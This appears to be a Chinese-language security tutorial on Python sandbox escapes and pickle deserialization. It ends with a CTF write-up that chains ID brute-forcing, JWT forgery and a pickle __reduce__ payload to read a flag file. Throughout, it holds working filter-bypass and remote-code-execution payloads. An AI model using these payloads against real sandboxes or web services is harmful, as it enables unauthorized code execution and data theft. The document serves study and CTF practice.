Python沙箱和反序列化漏洞

一、一些沙箱逃逸的姿势

绕过姿势

1.禁用import os
1
2
3
import  os
import os
import os
2.过滤空格
1
__import__('os').system("ls")
1
2
import importlib
importlib.import_module('os').system('ls')
3.过滤import

python2

1
2
3

execfile('/usr/lib/python2.7/os.py')
system('ls')

通用

1
2
3
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
system('ls')
4、过滤os
1
__import__('so'[::-1]).system('ls')
1
2
3
b = 'o'
a = 's'
__import__(a+b).system('ls')
5、使用exec或者eval
1
2
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
6、恢复 sys.modules

如何禁用的

1
2
3
sys.modules['os'] = 'not allowed'
import os
os.system('ls')

先删除重新导入-不能直接导入,因为,当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A

1
2
3
del sys.modules['os']
import os
os.system('ls')
7、过滤system函数

等价

1
2
print(os.system('whoami'))
print(os.popen('whoami').read())

可以通过 getattr 拿到对象的方法、属性

1
2
import os
getattr(os, 'metsys'[::-1])('whoami')

8、system,import,os都过滤了

1
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')

一些常用payload常用操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import os
os.system('ifconfig')
os.popen('ipconfig').read()

import commands #Linux python2
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')

import subprocess
subprocess.call(['ipconfig'],shell=True)
import timeit
timeit.timeit("__import__('os').system('whoami')", number=1)

import platform
platform.os.system("ls")
platform.popen('whoami', mode='r', bufsize=-1).read()

import pty
pty.spawn("ls")

import cgi
cgi.os.system('ls')

查看路径

1
2
3
import sys
print(sys.path)
print(sys.version)

builtins、builtin与builtins -内建模块

在 2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。它们都需要 import 才能查看
但是,__builtins__ 两者都有,实际上是__builtin__builtins 的引用

1
2
3
4
5
>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__
列出了所有的

利用

1
2
3
4
5
6
7
8
9
>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
macr0phag3
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True

删除危险函数操作

1
__builtins__.__dict__['eval'] = 'not allowed'
1
del __builtins__.__dict__['eval']

但是我们可以利用 reload(__builtins__) 来恢复 __builtins__

沙箱逃逸参考

查看所有能利用模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#-*- coding:utf8 -*-
# By Macr0phag3
# in 2019-05-07 19:46:12
# ------------------------------------

# this, antigravity 库删掉
all_modules_2 = [
'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion', 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'Canvas', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib', 'Dialog', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'FileDialog', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'lsb_release', 'sre_parse', 'ScrolledText', 'bz2', 'macpath', 'ssl', 'SimpleDialog', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs', 'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'Tix', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'Tkdnd', 'cmd', 'mimetools', 'sunau', 'Tkinter', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString', 'collections', 'modulefinder', 'sys', '_LWPCookieJar', 'colorsys', 'multifile', 'sysconfig', '_MozillaCookieJar', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', 'talloc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy', 'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', 'tkColorChooser', '_csv', 'difflib', 'parser', 'tkCommonDialog', '_ctypes', 'dircache', 'pdb', 'tkFileDialog', '_ctypes_test', 'dis', 'pickle', 'tkFont', '_curses', 'distutils', 'pickletools', 'tkMessageBox', '_curses_panel', 'doctest', 'pipes', 'tkSimpleDialog', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', 'ttk', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', 'turtle', '_lsprof', 'fcntl', 'pprint', 'types', '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512', 'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched', 'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha'
]

all_modules_3 = [
'AptUrl', 'hmac', 'requests_unixsocket', 'CommandNotFound', 'apport', 'hpmudext', 'resource', 'Crypto', 'apport_python_hook', 'html', 'rlcompleter', 'DistUpgrade', 'apt', 'http', 'runpy', 'HweSupportStatus', 'apt_inst', 'httplib2', 'scanext', 'LanguageSelector', 'apt_pkg', 'idna', 'sched', 'NvidiaDetector', 'aptdaemon', 'imaplib', 'secrets', 'PIL', 'aptsources', 'imghdr', 'secretstorage', 'Quirks', 'argparse', 'imp', 'select', 'UbuntuDrivers', 'array', 'importlib', 'selectors', 'UbuntuSystemService', 'asn1crypto', 'inspect', 'shelve', 'UpdateManager', 'ast', 'io', 'shlex', '__future__', 'asynchat', 'ipaddress', 'shutil', '_ast', 'asyncio', 'itertools', 'signal', '_asyncio', 'asyncore', 'janitor', 'simplejson', '_bisect', 'atexit', 'json', 'site', '_blake2', 'audioop', 'keyring', 'sitecustomize', '_bootlocale', 'base64', 'keyword', 'six', '_bz2', 'bdb', 'language_support_pkgs', 'smtpd', '_cffi_backend', 'binascii', 'launchpadlib', 'smtplib', '_codecs', 'binhex', 'linecache', 'sndhdr', '_codecs_cn', 'bisect', 'locale', 'socket', '_codecs_hk', 'brlapi', 'logging', 'socketserver', '_codecs_iso2022', 'builtins', 'louis', 'softwareproperties', '_codecs_jp', 'bz2', 'lsb_release', 'speechd', '_codecs_kr', 'cProfile', 'lzma', 'speechd_config', '_codecs_tw', 'cairo', 'macaroonbakery', 'spwd', '_collections', 'calendar', 'macpath', 'sqlite3', '_collections_abc', 'certifi', 'macurl2path', 'sre_compile', '_compat_pickle', 'cgi', 'mailbox', 'sre_constants', '_compression', 'cgitb', 'mailcap', 'sre_parse', '_crypt', 'chardet', 'mako', 'ssl', '_csv', 'chunk', 'markupsafe', 'stat', '_ctypes', 'cmath', 'marshal', 'statistics', '_ctypes_test', 'cmd', 'math', 'string', '_curses', 'code', 'mimetypes', 'stringprep', '_curses_panel', 'codecs', 'mmap', 'struct', '_datetime', 'codeop', 'modual_test', 'subprocess', '_dbm', 'collections', 'modulefinder', 'sunau', '_dbus_bindings', 'colorsys', 'multiprocessing', 'symbol', '_dbus_glib_bindings', 'compileall', 'nacl', 'symtable', '_decimal', 'concurrent', 'netrc', 'sys', '_dummy_thread', 'configparser', 'nis', 'sysconfig', '_elementtree', 'contextlib', 'nntplib', 'syslog', '_functools', 'copy', 'ntpath', 'systemd', '_gdbm', 'copyreg', 'nturl2path', 'tabnanny', '_hashlib', 'crypt', 'numbers', 'tarfile', '_heapq', 'cryptography', 'oauth', 'telnetlib', '_imp', 'csv', 'olefile', 'tempfile', '_io', 'ctypes', 'opcode', 'termios', '_json', 'cups', 'operator', 'test', '_locale', 'cupsext', 'optparse', 'textwrap', '_lsprof', 'cupshelpers', 'orca', '_lzma', 'curses', 'os', 'threading', '_markupbase', 'datetime', 'ossaudiodev', 'time', '_md5', 'dbm', 'parser', 'timeit', '_multibytecodec', 'dbus', 'pathlib', 'token', '_multiprocessing', 'deb822', 'pcardext', 'tokenize', '_opcode', 'debconf', 'pdb', 'trace', '_operator', 'debian', 'pexpect', 'traceback', '_osx_support', 'debian_bundle', 'pickle', 'tracemalloc', '_pickle', 'decimal', 'pickletools', 'tty', '_posixsubprocess', 'defer', 'pipes', 'turtle', '_pydecimal', 'difflib', 'pkg_resources', 'types', '_pyio', 'dis', 'pkgutil', 'typing', '_random', 'distro_info', 'platform', 'ufw', '_sha1', 'distro_info_test', 'plistlib', 'unicodedata', '_sha256', 'distutils', 'poplib', 'unittest', '_sha3', 'doctest', 'posix', 'urllib', '_sha512', 'dummy_threading', 'posixpath', 'urllib3', '_signal', 'email', 'pprint', 'usbcreator', '_sitebuiltins', 'encodings', 'problem_report', 'uu', '_socket', 'enum', 'profile', 'uuid', '_sqlite3', 'errno', 'pstats', 'venv', '_sre', 'faulthandler', 'pty', 'wadllib', '_ssl', 'fcntl', 'ptyprocess', 'warnings', '_stat', 'filecmp', 'pwd', 'wave', '_string', 'fileinput', 'py_compile', 'weakref', '_strptime', 'fnmatch', 'pyatspi', 'webbrowser', '_struct', 'formatter', 'pyclbr', 'wsgiref', '_symtable', 'fractions', 'pydoc', 'xdg', '_sysconfigdata_m_linux_x86_64-linux-gnu', 'ftplib', 'pydoc_data', 'xdrlib', '_testbuffer', 'functools', 'pyexpat', 'xkit', '_testcapi', 'gc', 'pygtkcompat', 'xml', '_testimportmultiple', 'genericpath', 'pymacaroons', 'xmlrpc', '_testmultiphase', 'getopt', 'pyrfc3339', 'xxlimited', '_thread', 'getpass', 'pytz', 'xxsubtype', '_threading_local', 'gettext', 'queue', 'yaml', '_tracemalloc', 'gi', 'quopri', 'zipapp', '_warnings', 'glob', 'random', 'zipfile', '_weakref', 'grp', 're', 'zipimport', '_weakrefset', 'gtweak', 'readline', 'zlib', '_yaml', 'gzip', 'reportlab', 'zope', 'abc', 'hashlib', 'reprlib', 'aifc', 'heapq'
]

methods = ['os', 'sys', '__builtins__']

results = {}
for module in all_modules_3:
results[module] = {
'flag': 0,
'result': {}
}

try:
m = __import__(module)
attrs = dir(m)
for method in methods:
if method in attrs:
result = 'yes'
results[module]['flag'] = 1
else:
result = 'no'

results[module]['result'][method] = result

except Exception as e:
print(e)

for result in results:
if results[result]['flag']:
print('[+]' + result)
for r in results[result]['result']:
print(' [-]' + r + ': ' + results[result]['result'][r])

一文看懂Python沙箱逃逸
python安全和代码审计相关资料收集https://github.com/bit4woo/python_sec
https://kit4y.github.io/2019/11/19/flask-dao-ssti/

二、python中的序列化与反序列化

!python反序列化的类不需要提前声明

用于序列化的两个模块/pickle+json

  json:用于字符串和Python数据类型间进行转换
  pickle: 用于python特有的类型和python的数据类型间进行转换
  json提供四个功能:dumps,dump,loads,load
  pickle提供四个功能:dumps,dump,loads,load

Pickle的支持类型

1
2
3
1. 所有python支持的原生类型:布尔值,整数,浮点数,复数,字符串,字节,None。
2. 由任何原生类型组成的列表,元组,字典和集合。
3. 函数,类,类的实例

pickle模块中常用的方法有:

  1. pickle.dump(obj, file, protocol=None,)
    必填参数obj表示将要封装的对象
    必填参数file表示obj要写入的文件对象,file必须以二进制可写模式打开,即“wb”
    可选参数protocol表示告知pickler使用的协议,支持的协议有0,1,2,3,默认的协议是添加在Python 3中的协议3。   
    dump 将数据通过特殊的形式转换为只有python语言认识的字符串,并写入文件
1
2
with open('D:/tmp.pk', 'w') as f:
pickle.dump(data, f)
  1. pickle.load(file,*,fix_imports=True, encoding=”ASCII”, errors=”strict”)
    必填参数file必须以二进制可读模式打开,即“rb”,其他都为可选参数
    load 从数据文件中读取数据,并转换为python的数据结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
with open('D:/tmp.pk', 'r') as f:
data = pickle.load(f)
```

3. pickle.dumps(obj):以字节对象形式返回封装的对象,不需要写入文件中

4. pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回

#### 不加s为文件操作
demo
```python
#!/usr/bin/python3
import pickle
list1 = [1, 2, 3]
output = open('data.pkl', 'wb')
pickle.dump(list1, output)
output.close()

生成的文件,其中使用不同协议生成的二进制文件不同,有0,1,2,3默认是3,但是读取都没问题

反序列化

1
2
3
4
5
6
#!/usr/bin/python3
import pickle
pkl_file = open('data.pkl', 'rb')
data1 = pickle.load(pkl_file)
print(data1)
pkl_file.close()

加上s为字符串操作

为了方便我以十六进制输出一下

1
2
3
4
5
6
7
#!/usr/bin/python3
import pickle
import base64
list1 = [1, 2, 3]
str1=pickle.dumps(list1)
print(base64.b16encode(str1))
print(pickle.loads(str1))

输出

1
2
b'80035D7100284B014B024B03652E'
[1, 2, 3]

三、__reduce__()

python魔法方法详解
https://github.com/MrKiven/PyZh/blob/master/docs/python-magic-methods-guide.rst

__reduce__()介绍

当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 reduce 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选)
简单一点就是反序列化的时候调用

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#coding=utf-8
import pickle

class Person(object):
def __init__(self,username,password):
self.username = username
self.password = password

def __reduce__(self):
# 未导入os模块,通用
return (__import__('os').system, ('ls',))
#return eval,("__import__('os').system('calc.exe')",)
#return map, (__import__('os').system, ('calc.exe',))
#return map, (__import__('os').system, ['ls'])

# 导入os模块
# return (os.system, ('calc.exe',))
# return eval, ("os.system('calc.exe')",)
#return map, (os.system, ('calc.exe',))
# return map, (os.system, ['calc.exe'])

admin = Person('admin','123456')
result = pickle.dumps(admin)
user = pickle.loads(result)

不过这样会导致user初构造失败为空

四、题目:[CISCN2019 华北赛区 Day1 Web2]ikun

https://github.com/glzjin/CISCN_2019_northern_China_day1_web2
意思就是提前有1000货币购买lv,界面上只有lv1-5

先爆破出lv6的购买区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import threading
import queue
from queue import Queue
import sys

def text():
url = 'http://ca563c26-7e4b-423f-847b-99ec2db675db.node3.buuoj.cn/info/'
for i in range(1,10000):
new_url = url+str(i)
q.put(new_url)


def requ():
while not q.empty():
u = q.get(True, 1)
try:
print(u[64:],end="-")
r = requests.get(u).text
if 'lv6.png' in r:
print("\n\n--------------GotIt-------------------------"+u+"\n\n--------------")
q.task_done()
except:
q.put(u)

if __name__=='__main__':
q = Queue()
text()
for each in range(500):
t = threading.Thread(target=requ)
t.daemon = True
t.start()

q.join()

拿到id=1624

价格超级贵,所以抓包来改一些东西,比如价格尝试购买-这里很难受,你要抓一个进优惠购买的包,id改成1624
到这里

然后成功拿到了一个url

1
http://ca563c26-7e4b-423f-847b-99ec2db675db.node3.buuoj.cn/b1g_m4mber


然后下一步是jwt,可参考https://kit4y.github.io/2020/01/01/jwt/
拿到
JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InN0NGNrIn0.3e4wG-w3yFP1kBvUc5dpJ8Vb-yV1N9VixpNXpX_1xLQ

思路很明确了,把username伪造成admin即可,所以先使用c-jwt-cracker爆破secret

然后伪造成功,发现源码给了
/static/asd1f654e683wq/www.zip
在admin.py发现

1
2
3
4
5
6
7
8
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

则可以利用这个,因为这个系统是python2的,我们也用python2-而且python的类居然可以不用提前定义,直接反序列化

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
#return (eval,("__import__('os').system('whoami')",))
return (eval, ("open('/flag.txt','r').read()",))

a = urllib.quote(pickle.dumps(payload()))
print a

得到的a,抓包改一下丢become得到flag

不过不知道为啥,os的payload打不了?

参考

https://xz.aliyun.com/t/2289
https://www.zhaoj.in/read-5946.html